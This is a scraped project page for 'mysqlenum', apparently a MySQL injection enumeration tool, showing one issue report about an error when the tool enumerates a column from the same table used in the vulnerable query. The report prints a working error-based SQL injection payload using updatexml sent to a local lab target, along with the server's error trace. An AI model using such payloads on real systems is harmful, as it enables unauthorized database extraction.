The mysqlenum from s-raza

mysqlenum's People

Contributors

Watchers

mysqlenum's Issues

Error: Unexpected response received from host:

Below error is shown when trying to enumerate items from the same table that is involved in the SQL query in that back end that is vulnerable to SQL injection.

Select Column to enumerate [1-6]: 3
Number of rows to enumerate [Total: 300025, Enumerated: 0]: 3

Table selected: employees (300025 rows)
Column selected: first_name

Enumerating rows for employees.first_name

  0%|                                                                                                                       | 0/3 [00:00<?, ?it/s]

Unexpected response received from host:
Error: list index out of range
URL: http://192.168.1.90/mysqlenum/vuln.php
Data sent: {'vulnfield': "1' and updatexml(1, concat(0x7e, (select first_name from employees limit 0,1)), 0) and '1"}
Response received: <br />
<b>Fatal error</b>:  Uncaught PDOException: SQLSTATE[HY000]: General error: 1093 You can't specify target table 'employees' for update in FROM clause in /var/www/html2/public_html/mysqlenum/vuln.php:17
Stack trace:
#0 /var/www/html2/public_html/mysqlenum/vuln.php(17): PDO-&gt;exec('insert into emp...')
#1 {main}
  thrown in <b>/var/www/html2/public_html/mysqlenum/vuln.php</b> on line <b>17</b><br />

  0%|                                                                                                                       | 0/3 [00:00<?, ?it/s]

Recommend Projects